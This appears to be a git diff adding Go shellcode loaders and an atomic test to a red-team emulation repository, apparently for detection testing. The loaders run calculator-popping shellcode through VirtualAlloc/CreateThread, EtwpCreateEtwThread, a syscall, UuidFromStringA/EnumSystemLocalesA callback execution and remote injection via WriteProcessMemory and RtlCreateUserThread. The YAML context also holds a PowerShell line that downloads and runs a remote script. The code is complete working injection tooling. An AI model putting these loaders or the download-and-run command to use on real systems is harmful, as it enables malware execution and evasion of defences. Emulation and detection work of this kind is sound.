fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
}
_, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
}
}
// export GOOS=windows GOARCH=amd64;go build -o CreateRemoteThreadNative.exe ./CreateRemoteThreadNative.go
+112
View File
@@ -0,0 +1,112 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateThread/main.go
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
var oldProtect uint32
errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
if errVirtualProtect != nil {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Calling CreateThread...")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
if *debug {
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
}
event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
if errWaitForSingleObject != nil {
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]WaitForSingleObject returned with %d", event))
}
}
// export GOOS=windows GOARCH=amd64;go build -o CreateThread.exe ./CreateThread.go
+132
View File
@@ -0,0 +1,132 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateThreadNative/main.go
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
}
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
CreateThread := kernel32.NewProc("CreateThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Calling CreateThread...")
}
//var lpThreadId uint32
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
if *debug {
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
}
_, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
}
}
// export GOOS=windows GOARCH=amd64;go build -o CreateThreadNative.exe ./CreateThreadNative.go
@@ -0,0 +1,135 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/EtwpCreateEtwThread/main.go
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call EtwpCreateEtwThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
// Demonstrates using ntdll.dll!EtwpCreateThreadEtw for local shellcode execution: https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
}
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Calling EtwpCreateEtwThread...")
}
//var lpThreadId uint32
thread, _, errEtwThread := EtwpCreateEtwThread.Call(addr, uintptr(0))
if errEtwThread != nil && errEtwThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling EtwpCreateEtwThread:\r\n%s", errEtwThread.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
if *debug {
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
}
_, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
}
}
// export GOOS=windows GOARCH=amd64;go build -o EtwpCreateEtwThread.exe ./EtwpCreateEtwThread.go
@@ -0,0 +1,137 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/RtlCreateUserThread/main.go
/*
This program executes shellcode in a remote process using the following steps
1. Get a handle to the target process
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
4. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
5. Close the handle to the remote process
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
CloseHandle := kernel32.NewProc("CloseHandle")
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
}
pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling RtlCreateUserThread on PID %d...", *pid))
}
var tHandle uintptr
_, _, errRtlCreateUserThread := RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)
if errRtlCreateUserThread != nil && errRtlCreateUserThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling RtlCreateUserThread:\r\n%s", errRtlCreateUserThread.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully called RtlCreateUserThread on PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
}
_, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
}
}
// export GOOS=windows GOARCH=amd64;go build -o RtlCreateUserThread.exe ./RtlCreateUserThread.go
+206
View File
@@ -0,0 +1,206 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/UuidFromString/main.go
// Concept pulled from https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
/*
This program executes shellcode in the current process using the following steps:
1. Create a Heap and allocate space
2. Convert shellcode into an array of UUIDs
3. Load the UUIDs into memory (on the allocated heap) by (ab)using the UuidFromStringA function
4. Execute the shellcode by (ab)using the EnumSystemLocalesA function
*/
// Reference: https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
package main
import (
// Standard
"bytes"
"encoding/binary"
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
// 3rd Party
"github.com/google/uuid"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, err := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if err != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", err))
}
// Convert shellcode to UUIDs
if *debug {
fmt.Println("[DEBUG]Converting shellcode to slice of UUIDs")
}
uuids, err := shellcodeToUUID(shellcode)
if err != nil {
log.Fatal(err.Error())
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll & Rpcrt4.dll")
}
kernel32 := windows.NewLazySystemDLL("kernel32")
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
if *debug {
fmt.Println("[DEBUG]Loading HeapCreate, HeapAlloc, EnumSystemLocalesA, and UuidToStringA procedures")
}
heapCreate := kernel32.NewProc("HeapCreate")
heapAlloc := kernel32.NewProc("HeapAlloc")
enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
uuidFromString := rpcrt4.NewProc("UuidFromStringA")
/* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapcreate
HANDLE HeapCreate(
DWORD flOptions,
SIZE_T dwInitialSize,
SIZE_T dwMaximumSize
);
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
*/
// Create the heap
// HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
heapAddr, _, err := heapCreate.Call(0x00040000, 0, 0)
if heapAddr == 0 {
log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err))
}
if *verbose {
fmt.Println(fmt.Sprintf("Heap created at: 0x%x", heapAddr))
}
/* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
*/
// Allocate the heap
addr, _, err := heapAlloc.Call(heapAddr, 0, 0x00100000)
if addr == 0 {
log.Fatal(fmt.Sprintf("there was an error calling the HeapAlloc function:\r\n%s", err))
}
if *verbose {
fmt.Println(fmt.Sprintf("Heap allocated: 0x%x", addr))
}
if *debug {
fmt.Println("[DEBUG]Iterating over UUIDs and calling UuidFromStringA...")
}
/*
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid,
UUID *Uuid
);
*/
addrPtr := addr
for _, uuid := range uuids {
// Must be a RPC_CSTR which is null terminated
u := append([]byte(uuid), 0)
// Only need to pass a pointer to the first character in the null terminated string representation of the UUID
rpcStatus, _, err := uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
// RPC_S_OK = 0
if rpcStatus != 0 {
log.Fatal(fmt.Sprintf("There was an error calling UuidFromStringA:\r\n%s", err))
}
addrPtr += 16
}
if *verbose {
fmt.Println("Completed loading UUIDs to memory with UuidFromStringA")
}
/*
BOOL EnumSystemLocalesA(
LOCALE_ENUMPROCA lpLocaleEnumProc,
DWORD dwFlags
);
*/
// Execute Shellcode
if *debug {
fmt.Println("[DEBUG]Calling EnumSystemLocalesA to execute shellcode")
}
ret, _, err := enumSystemLocalesA.Call(addr, 0)
if ret == 0 {
log.Fatal(fmt.Sprintf("EnumSystemLocalesA GetLastError: %s", err))
}
if *verbose {
fmt.Println("Executed shellcode")
}
}
// shellcodeToUUID takes in shellcode bytes, pads it to 16 bytes, breaks them into 16 byte chunks (size of a UUID),
// converts the first 8 bytes into Little Endian format, creates a UUID from the bytes, and returns an array of UUIDs
func shellcodeToUUID(shellcode []byte) ([]string, error) {
// Pad shellcode to 16 bytes, the size of a UUID
if 16-len(shellcode)%16 < 16 {
pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
shellcode = append(shellcode, pad...)
}
var uuids []string
for i := 0; i < len(shellcode); i += 16 {
var uuidBytes []byte
// This seems unecessary or overcomplicated way to do this
// Add first 4 bytes
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
uuidBytes = append(uuidBytes, buf...)
// Add next 2 bytes
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
uuidBytes = append(uuidBytes, buf...)
// Add next 2 bytes
buf = make([]byte, 2)
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
uuidBytes = append(uuidBytes, buf...)
// Add remaining
uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
u, err := uuid.FromBytes(uuidBytes)
if err != nil {
return nil, fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err)
}
uuids = append(uuids, u.String())
}
return uuids, nil
}
// export GOOS=windows GOARCH=amd64;go build -o UuidFromStringA.exe ./UuidFromStringA.go
+20
View File
@@ -56,3 +56,23 @@ atomic_tests:
command: |-
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')
name: powershell
- name: Run Shellcode via Syscall in Go
description: |
Runs shellcode in the current running process via a syscall.
Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug
cleanup_command: |
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Binary file not shown.
+120
View File
@@ -0,0 +1,120 @@
//go:build windows
// +build windows
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/Syscall/main.go
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"syscall"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
}
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
